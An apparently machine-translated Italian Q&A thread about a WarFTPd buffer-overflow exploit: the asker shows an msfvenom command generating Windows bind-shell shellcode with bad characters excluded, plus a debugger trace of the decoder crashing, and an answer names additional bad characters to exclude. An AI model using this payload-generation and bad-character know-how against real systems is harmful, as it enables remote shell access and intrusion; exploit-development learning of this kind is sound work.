exploit warftpd, strano comportamento del codice shell

1

Sto generando shellcode escludendo caratteri errati usando:

msfvenom -p windows/shell_bind_tcp -b '\x00\x40\x0a\x0d' -f py

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes

Aumento la dimensione dello stack per consentire la decodifica:

add esp, -1500

Quando eseguo il codice e confronto lo shellcode nel debugger con il codice python, tutto va bene, i caratteri sono tutti uguali.

Il punto di interruzione nel registro EPI è stato raggiunto.

Quindi PUSH ESP e RET vengono chiamati per puntare all'indirizzo msvcrt.dll

Continuo a passare attraverso lo shellcode (ho controllato questo e tutti i caratteri sono corretti rispetto al codice esadecimale di python):

ADD ESP, -5DC
MOV EAX, D5A109D9
FCMOVNBE ST, ST(3)
FSTENV (28-BYTE) PTR SS:[ESP-C]
POP EBX
SUB ECX,ECX
MOV CL,53
SUB EBX,-4
XOR DWORD PTR DS: [EBX+E],EAX ............. (Access violation when writing to [00000012])

A questo punto EBX = 00000004, EAX = D5A109D9

Perché lo shellcode tenta di scrivere su [EBX + E] = 00000012? Anche le istruzioni dopo XOR DWORD hanno i caratteri esadecimali corretti che corrispondono al codice, quindi non sembra che ci siano altri caratteri non validi.

    
posta c0der 31.01.2017 - 13:41
fonte

1 risposta

2

Ho risolto il problema passando e eliminando i brutti personaggi uno alla volta in cui si è verificato un arresto anomalo. I cattivi personaggi che causavano il problema erano:

  • pop ebx: \ x5b
  • istruzione privilegiata: \ x6c

(Questo era in aggiunta ai caratteri nulli, ritorni a capo e @ carattere)

Spero che questo risparmi un sacco di frustrazione

    
risposta data 03.02.2017 - 11:22
fonte

Leggi altre domande sui tag